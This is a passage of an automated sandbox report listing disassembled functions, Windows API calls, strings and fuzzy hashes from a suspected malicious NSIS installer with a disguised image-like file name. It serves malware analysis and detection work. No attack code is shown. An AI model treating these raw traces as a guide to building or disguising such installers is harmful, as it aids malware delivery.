Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CharNext$AttributesFilelstrcpynlstrlen
String ID: C:\Users\user\AppData\Local\Temp\$C:\Users\user\AppData\Local\Temp\nsb535E.tmp
API String ID: 3248276644-2198462938
Opcode ID: 308fadea3a0b968ed56b92214e6bc0f27c5543f8f515069d12591bb602a569a4
Instruction ID: 935e679f1c1c714b0e3911a5d698b339edd04cd04073ee9c7d5fe0644536c501
Opcode Fuzzy Hash: 308fadea3a0b968ed56b92214e6bc0f27c5543f8f515069d12591bb602a569a4
Instruction Fuzzy Hash: FCF02831105E511AE62233352C0DAAF1A44CE93364719857FF855B12D2DB3C89479D7D

Function 00405C1F Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(?,C:\Users\user\AppData\Local\Temp\,004033C5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004036B5,?,00000008,0000000A,0000000C), ref: 00405C25
CharPrevA.USER32(?,00000000,?,C:\Users\user\AppData\Local\Temp\,004033C5,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,C:\Users\user\AppData\Local\Temp\,004036B5,?,00000008,0000000A,0000000C), ref: 00405C2E
lstrcatA.KERNEL32(?,0040A014,?,00000008,0000000A,0000000C), ref: 00405C3F

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00405C1F

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CharPrevlstrcatlstrlen
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 2659869361-3081826266
Opcode ID: 1585f28ce29590c56c09183d2983d03a0d8d28acc38857c1cbd7e9952efaabbf
Instruction ID: 5ecf558490c9fc18ca768c1c77fe203d25deaeb0153a8833875816b6af26cf17
Opcode Fuzzy Hash: 1585f28ce29590c56c09183d2983d03a0d8d28acc38857c1cbd7e9952efaabbf
Instruction Fuzzy Hash: 98D0A772505A306BE50136565D09ECB1A088F4231570500AFF140B2191C67C0C5147FD

Function 00405CB8 Relevance: 6.0, APIs: 3, Strings: 1, Instructions: 41COMMON

Download Yara Rule

APIs

CharNextA.USER32(?,?,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,0000000C,00405D24,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,C:\Users\user\AppData\Local\Temp\nsb535E.tmp,74DF3410,?,C:\Users\user\AppData\Local\Temp\,00405A6F,?,74DF3410,C:\Users\user\AppData\Local\Temp\,"C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe"), ref: 00405CC6
CharNextA.USER32(00000000), ref: 00405CCB
CharNextA.USER32(00000000), ref: 00405CDF

Strings

C:\Users\user\AppData\Local\Temp\nsb535E.tmp, xrefs: 00405CB9

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CharNext
String ID: C:\Users\user\AppData\Local\Temp\nsb535E.tmp
API String ID: 3213498283-3133259053
Opcode ID: 48ab597918d8e2ef306ddd6e117c28a3ba6feb84c3778f0c5ad980b6008cf2cb
Instruction ID: ee8b6173ba6a0b3c7a77adf62d8f17896d3fbd5398f7dd7aaac8169870cad506
Opcode Fuzzy Hash: 48ab597918d8e2ef306ddd6e117c28a3ba6feb84c3778f0c5ad980b6008cf2cb
Instruction Fuzzy Hash: 42F02B51908FA02BFB3252246C48B775B8CDF95715F048477D5407B2C2C27C6C414F9A

Function 00402ECD Relevance: 6.0, APIs: 4, Instructions: 33COMMON

Download Yara Rule

APIs

DestroyWindow.USER32(00000000,00000000,004030AB,00000001,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00402EE0
GetTickCount.KERNEL32 ref: 00402EFE
CreateDialogParamA.USER32(0000006F,00000000,00402E4A,00000000), ref: 00402F1B
ShowWindow.USER32(00000000,00000005,?,?,00403722,?,?,00000008,0000000A,0000000C), ref: 00402F29

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Window$CountCreateDestroyDialogParamShowTick
String ID:
API String ID: 2102729457-0
Opcode ID: 82cc071085b0e421d38bebfb76feb0ba11fa504106e74bc84e10844e5b096cab
Instruction ID: 55e8d60830c64a568362c8f460213b41695a60035779f7009bf19f5ad348a086
Opcode Fuzzy Hash: 82cc071085b0e421d38bebfb76feb0ba11fa504106e74bc84e10844e5b096cab
Instruction Fuzzy Hash: B7F03A30A45621EBC771AB50FE0CA9B7B64FB05B59B41043AF001F11A9CB745852DBED

Function 00405345 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 46windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 00405374
CallWindowProcA.USER32(?,?,?,?), ref: 004053C5

Part of subcall function 00404379: SendMessageA.USER32(?,00000000,00000000,00000000), ref: 0040438B

Strings

, xrefs: 00405355

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Window$CallMessageProcSendVisible
String ID:
API String ID: 3748168415-3916222277
Opcode ID: b9d322c03724d0f4ccaad077e5ef09c26c8614d3de5af0662f84842769c694b6
Instruction ID: 98c6722e6a54b641667f931c9e29074c60bd52ab0debc5010bc9b6450a54dc72
Opcode Fuzzy Hash: b9d322c03724d0f4ccaad077e5ef09c26c8614d3de5af0662f84842769c694b6
Instruction Fuzzy Hash: 9201B171100608AFFF205F11ED84A6B3A26EB84794F50413BFE407A1D1C3B98C629E5E

Function 00403A01 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 19COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(?,74DF3410,00000000,C:\Users\user\AppData\Local\Temp\,004039D9,004037BF,?,?,00000008,0000000A,0000000C), ref: 00403A1B
GlobalFree.KERNEL32(00650E50), ref: 00403A22

Strings

C:\Users\user\AppData\Local\Temp\, xrefs: 00403A01

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Free$GlobalLibrary
String ID: C:\Users\user\AppData\Local\Temp\
API String ID: 1100898210-3081826266
Opcode ID: 0079c2f67775dda8b537f62a0fedec5a832efd40d4ebab5497539fb8ea7bc8ed
Instruction ID: 5c739cdb98e40ae8c0dfefb52ad11f1475293c83533685fd3a033b9eca192303
Opcode Fuzzy Hash: 0079c2f67775dda8b537f62a0fedec5a832efd40d4ebab5497539fb8ea7bc8ed
Instruction Fuzzy Hash: 16E01D3361513057CA315F45FD0579A77685F58B27F09403AE8807715587745D434FD9

Function 00405C66 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 16stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(80000000,C:\Users\user\Desktop,00402F9D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe,C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe,80000000,00000003,?,?,00403722,?,?,00000008,0000000A), ref: 00405C6C
CharPrevA.USER32(80000000,00000000,80000000,C:\Users\user\Desktop,00402F9D,C:\Users\user\Desktop,C:\Users\user\Desktop,C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe,C:\Users\user\Desktop\IMG635673567357735773573757875883587935775753Bjlkeloftet.exe,80000000,00000003,?,?,00403722,?), ref: 00405C7A

Strings

C:\Users\user\Desktop, xrefs: 00405C66

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: CharPrevlstrlen
String ID: C:\Users\user\Desktop
API String ID: 2709904686-224404859
Opcode ID: 636972430895b8d26769eef308ecf034eeaaaa2c94ab7ae9d1342fa23427dc1b
Instruction ID: c418d430c32a25fd64e5672735cb35cda0f462e3a1cf334074a775347c04a98e
Opcode Fuzzy Hash: 636972430895b8d26769eef308ecf034eeaaaa2c94ab7ae9d1342fa23427dc1b
Instruction Fuzzy Hash: 62D0A7B240CEB02FF70362108D00B9F6A48CF13704F0904A7E080E2190C27C0C4147AD

Function 6E3310E0 Relevance: 5.1, APIs: 4, Instructions: 144memoryCOMMON

Download Yara Rule

APIs

GlobalAlloc.KERNEL32(00000040,?), ref: 6E33116B
GlobalAlloc.KERNEL32(00000040,?), ref: 6E3311D8
GlobalFree.KERNEL32(?), ref: 6E331286
GlobalFree.KERNEL32(00000000), ref: 6E33129B

Memory Dump Source

Source File: 00000000.00000002.2088083079.000000006E331000.00000020.00000001.01000000.00000004.sdmp, Offset: 6E330000, based on PE: true

Associated: 00000000.00000002.2088011783.000000006E330000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088098769.000000006E334000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000000.00000002.2088118015.000000006E336000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e330000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: Global$AllocFree
String ID:
API String ID: 3394109436-0
Opcode ID: 96804a68ab7b606e1cc766becd0dbf76ab957d25a63c1594b195ef5ec7f7f3bc
Instruction ID: 829e46c0e4dd5f540835adb108ed15d24122e0b0d6f6a005ffabd9c97bb7f8e1
Opcode Fuzzy Hash: 96804a68ab7b606e1cc766becd0dbf76ab957d25a63c1594b195ef5ec7f7f3bc
Instruction Fuzzy Hash: CE51C1B19046E6AFDB60CFA8C994EA6BBFCFB0A344F240495F585C7210D736D818CB91

Function 00405D85 Relevance: 5.0, APIs: 4, Instructions: 37stringCOMMON

Download Yara Rule

APIs

lstrlenA.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,00405FE0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405D95
lstrcmpiA.KERNEL32(00000000,00000000), ref: 00405DAD
CharNextA.USER32(00000000,?,00000000,00405FE0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405DBE
lstrlenA.KERNEL32(00000000,?,00000000,00405FE0,00000000,[Rename],00000000,00000000,00000000,?,?,?,?), ref: 00405DC7

Memory Dump Source

Source File: 00000000.00000002.2055762602.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2055750603.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055774500.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000040A000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.000000000042B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000431000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055785638.0000000000434000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2055853284.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: lstrlen$CharNextlstrcmpi
String ID:
API String ID: 190613189-0
Opcode ID: 4f1eaa0065bfc49b54b56e64601aea382fadfb9647de4ff4bb676f0ffe3a7a9e
Instruction ID: 0b01db06aa3b468373a9359c006e34c779135354681a34c4aba1de8cdbfa9028
Opcode Fuzzy Hash: 4f1eaa0065bfc49b54b56e64601aea382fadfb9647de4ff4bb676f0ffe3a7a9e
Instruction Fuzzy Hash: 86F0C231100418AFC7029BA5CE0499EBBA8EF06250B2180AAE840F7211D674DE01AB6C

Analysis Process: IMG635673567357735773573757875883587935775753Bjlkeloftet.exePID: 1076, Parent PID: 6640COMMON

Non-executed Functions

Function 004033D8 Relevance: 77.4, APIs: 32, Strings: 12, Instructions: 430stringfilecomCOMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00008001), ref: 004033FB
GetVersionExA.KERNEL32(?), ref: 00403424
GetVersionExA.KERNEL32(0000009C), ref: 0040343B
lstrlenA.KERNEL32(UXTHEME,UXTHEME), ref: 00403504
#17.COMCTL32(?,00000008,0000000A,0000000C), ref: 00403541
OleInitialize.OLE32(00000000), ref: 00403548
SHGetFileInfoA.SHELL32(00429448,00000000,?,00000160,00000000,?,00000008,0000000A,0000000C), ref: 00403566
GetCommandLineA.KERNEL32(0042E820,NSIS Error,?,00000008,0000000A,0000000C), ref: 0040357B
CharNextA.USER32(00000000,00435000,00000020,00435000,00000000,?,00000008,0000000A,0000000C), ref: 004035B5
GetTempPathA.KERNEL32(00000400,00436400,00000000,00000020,?,00000008,0000000A,0000000C), ref: 004036AE
GetWindowsDirectoryA.KERNEL32(00436400,000003FB,?,00000008,0000000A,0000000C), ref: 004036BF
lstrcatA.KERNEL32(00436400,\Temp,?,00000008,0000000A,0000000C), ref: 004036CB
GetTempPathA.KERNEL32(000003FC,00436400,00436400,\Temp,?,00000008,0000000A,0000000C), ref: 004036DF
lstrcatA.KERNEL32(00436400,Low,?,00000008,0000000A,0000000C), ref: 004036E7
SetEnvironmentVariableA.KERNEL32(TEMP,00436400,00436400,Low,?,00000008,0000000A,0000000C), ref: 004036F8
SetEnvironmentVariableA.KERNEL32(TMP,00436400,?,00000008,0000000A,0000000C), ref: 00403700
DeleteFileA.KERNEL32(00436000,?,00000008,0000000A,0000000C), ref: 00403714
OleUninitialize.OLE32(?,?,00000008,0000000A,0000000C), ref: 004037BF
ExitProcess.KERNEL32 ref: 004037E0
lstrlenA.KERNEL32(00436400,00435000,00000000,?,?,00000008,0000000A,0000000C), ref: 004037EF
wsprintfA.USER32 ref: 00403846
GetFileAttributesA.KERNEL32(00431400,00436400,00431400,?,0000000C), ref: 00403878
DeleteFileA.KERNEL32(00431400), ref: 00403884
SetCurrentDirectoryA.KERNEL32(00436400,00436400,00431400,?,0000000C), ref: 004038B0
CopyFileA.KERNEL32(00436C00,00431400,00000001), ref: 004038C6
CloseHandle.KERNEL32(00000000,00431800,00431800,?,00431400,00000000), ref: 00403919
GetCurrentProcess.KERNEL32(00000028,?,00000008,0000000A,0000000C), ref: 00403936
OpenProcessToken.ADVAPI32(00000000), ref: 0040393D
LookupPrivilegeValueA.ADVAPI32(00000000,SeShutdownPrivilege,?), ref: 00403951
AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000), ref: 00403970
ExitWindowsEx.USER32(00000002,80040002), ref: 00403995
ExitProcess.KERNEL32 ref: 004039B6

Strings

Error launching installer, xrefs: 00403778
A, xrefs: 00403476
Low, xrefs: 004036E1
", xrefs: 004035D8
`Kt, xrefs: 004036EC
\Temp, xrefs: 004036C5
NSIS Error, xrefs: 0040356C
UXTHEME, xrefs: 004034F8, 004034FD, 00403503
TEMP, xrefs: 004036F3
~nsu%X.tmp, xrefs: 0040383E
TMP, xrefs: 004036FB
SeShutdownPrivilege, xrefs: 0040394B

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: File$Process$Exit$CurrentDeleteDirectoryEnvironmentPathTempTokenVariableVersionWindowslstrcatlstrlen$AdjustAttributesCharCloseCommandCopyErrorHandleInfoInitializeLineLookupModeNextOpenPrivilegePrivilegesUninitializeValuewsprintf
String ID: "$A$Error launching installer$Low$NSIS Error$SeShutdownPrivilege$TEMP$TMP$UXTHEME$\Temp$`Kt$~nsu%X.tmp
API String ID: 2956269667-914819399
Opcode ID: e13c508dadc9a019ad899f483bcab1bf5121664e56d1959915504f3b46ceb96e
Instruction ID: 7f7404e7af7d96985e5cf9c88e74da5f08b6bc5144b1890d42f960bb7a69135c
Opcode Fuzzy Hash: e13c508dadc9a019ad899f483bcab1bf5121664e56d1959915504f3b46ceb96e
Instruction Fuzzy Hash: E2F11570904254AADB21AF758D49BAF7EB8AF45706F0440BFF441B62D2CB7C4A45CB2E

Function 00405A4F Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 159filestringCOMMON

Download Yara Rule

APIs

DeleteFileA.KERNEL32(?,?,74DF3410,00436400,00435000), ref: 00405A78
lstrcatA.KERNEL32(0042B490,\*.*,0042B490,?,?,74DF3410,00436400,00435000), ref: 00405AC0
lstrcatA.KERNEL32(?,0040A014,?,0042B490,?,?,74DF3410,00436400,00435000), ref: 00405AE1
lstrlenA.KERNEL32(?,?,0040A014,?,0042B490,?,?,74DF3410,00436400,00435000), ref: 00405AE7
FindFirstFileA.KERNEL32(0042B490,?,?,?,0040A014,?,0042B490,?,?,74DF3410,00436400,00435000), ref: 00405AF8
FindNextFileA.KERNEL32(00000000,00000010,000000F2,?,?,?,00000000,?,?,0000003F), ref: 00405BA5
FindClose.KERNEL32(00000000), ref: 00405BB6

Strings

\*.*, xrefs: 00405ABA

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: FileFind$lstrcat$CloseDeleteFirstNextlstrlen
String ID: \*.*
API String ID: 2035342205-1173974218
Opcode ID: fd14e2a26b3c5305760fc07f32de27d450e580bd3a69afa393f06f0700e9f7c9
Instruction ID: da8d20c05f1c1589987c6f576fa29bd8846dab181693994c0c241c39a5f8a394
Opcode Fuzzy Hash: fd14e2a26b3c5305760fc07f32de27d450e580bd3a69afa393f06f0700e9f7c9
Instruction Fuzzy Hash: 3051C030904A04BADB21AB618C85FAF7AB8EF42754F14417FF445B11D2C77C6982DEAE

Function 00404D32 Relevance: 63.5, APIs: 33, Strings: 3, Instructions: 491windowmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,000003F9), ref: 00404D49
GetDlgItem.USER32(?,00000408), ref: 00404D56
GlobalAlloc.KERNEL32(00000040,?), ref: 00404DA5
LoadImageA.USER32(0000006E,00000000,00000000,00000000,00000000), ref: 00404DBC
SetWindowLongA.USER32(?,000000FC,00405345), ref: 00404DD6
ImageList_Create.COMCTL32(00000010,00000010,00000021,00000006,00000000), ref: 00404DE8
ImageList_AddMasked.COMCTL32(00000000,00000110,00FF00FF), ref: 00404DFC
SendMessageA.USER32(?,00001109,00000002), ref: 00404E12
SendMessageA.USER32(?,0000111C,00000000,00000000), ref: 00404E1E
SendMessageA.USER32(?,0000111B,00000010,00000000), ref: 00404E2E
DeleteObject.GDI32(00000110), ref: 00404E33
SendMessageA.USER32(?,00000143,00000000,00000000), ref: 00404E5E
SendMessageA.USER32(?,00000151,00000000,00000000), ref: 00404E6A
SendMessageA.USER32(?,00001100,00000000,?), ref: 00404F04
SendMessageA.USER32(?,0000110A,00000003,00000110), ref: 00404F34

Part of subcall function 00404362: SendMessageA.USER32(00000028,?,00000001,00404192), ref: 00404370

SendMessageA.USER32(?,00001100,00000000,?), ref: 00404F48
GetWindowLongA.USER32(?,000000F0), ref: 00404F76
SetWindowLongA.USER32(?,000000F0,00000000), ref: 00404F84
ShowWindow.USER32(?,00000005), ref: 00404F94
SendMessageA.USER32(?,00000419,00000000,?), ref: 0040508F
SendMessageA.USER32(?,00000147,00000000,00000000), ref: 004050F4
SendMessageA.USER32(?,00000150,00000000,00000000), ref: 00405109
SendMessageA.USER32(?,00000420,00000000,00000020), ref: 0040512D
SendMessageA.USER32(?,00000200,00000000,00000000), ref: 0040514D
ImageList_Destroy.COMCTL32(?), ref: 00405162
GlobalFree.KERNEL32(?), ref: 00405172
SendMessageA.USER32(?,0000014E,00000000,00000000), ref: 004051EB
SendMessageA.USER32(?,00001102,?,?), ref: 00405294
SendMessageA.USER32(?,0000110D,00000000,00000008), ref: 004052A3
InvalidateRect.USER32(?,00000000,00000001), ref: 004052CE
ShowWindow.USER32(?,00000000), ref: 0040531C
GetDlgItem.USER32(?,000003FE), ref: 00405327
ShowWindow.USER32(00000000), ref: 0040532E

Strings

, xrefs: 00405306
M, xrefs: 00404EEC
N, xrefs: 00404FCD

Memory Dump Source

Source File: 00000004.00000002.2886748855.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000004.00000002.2886722224.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886766178.0000000000408000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886784608.000000000040A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000004.00000002.2886807482.0000000000443000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_400000_IMG635673567357735773573757875883587935775753Bjlkeloftet.jbxd

Similarity

API ID: MessageSend$Window$Image$ItemList_LongShow$Global$AllocCreateDeleteDestroyFreeInvalidateLoadMaskedObjectRect
String ID: $M$N
API String ID: 2564846305-813528018
Opcode ID: f11250b3fb3f61882aa354a54652fc5f201eb5c666114b29f2145b9c808ef288
Instruction ID: b1cb089e499fd84ad02b8b6dcb50706d58213328e80d7969948961eab3192630
Opcode Fuzzy Hash: f11250b3fb3f61882aa354a54652fc5f201eb5c666114b29f2145b9c808ef288
Instruction Fuzzy Hash: B1027DB0A00609AFDF209F94DD45AAE7BB5FB44354F50817AFA10BA2E1C7789D42CF58

Function 0040550F Relevance: 54.3, APIs: 36, Instructions: 282windowclipboardmemoryCOMMON

Download Yara Rule

APIs

GetDlgItem.USER32(?,00000403), ref: 0040556E
GetDlgItem.USER32(?,000003EE), ref: 0040557D
GetClientRect.USER32(?,?), ref: 004055BA
GetSystemMetrics.USER32(00000002), ref: 004055C1
SendMessageA.USER32(?,0000101B,00000000,?), ref: 004055E2
SendMessageA.USER32(?,00001036,00004000,00004000), ref: 004055F3
SendMessageA.USER32(?,00001001,00000000,?), ref: 00405606
SendMessageA.USER32(?,00001026,00000000,?), ref: 00405614
SendMessageA.USER32(?,00001024,00000000,?), ref: 00405627
ShowWindow.USER32(00000000,?,0000001B,?), ref: 00405649
ShowWindow.USER32(?,00000008), ref: 0040565D
GetDlgItem.USER32(?,000003EC), ref: 0040567E
SendMessageA.USER32(00000000,00000401,00000000,75300000), ref: 0040568E
SendMessageA.USER32(00000000,00000409,00000000,?), ref: 004056A7
SendMessageA.USER32(00000000,00002001,00000000,?), ref: 004056B3
GetDlgItem.USER32(?,000003F8), ref: 0040558C

Part of subcall function 00404362: SendMessageA.USER32(00000028,?,00000001,00404192), ref: 00404370

GetDlgItem.USER32(?,000003EC), ref: 004056CF
CreateThread.KERNEL32(00000000,00000000,Function_000054A3,00000000), ref: 004056DD
CloseHandle.KERNEL32(00000000), ref: 004056E4
ShowWindow.USER32(00000000), ref: 00405707
ShowWindow.USER32(?,00000008), ref: 0040570E
ShowWindow.USER32(00000008), ref: 00405754
SendMessageA.USER32(?,00001004,00000000,00000000), ref: 00405788
CreatePopupMenu.USER32 ref: 00405799
AppendMenuA.USER32(00000000,00000000,00000001,00000000), ref: 004057AE
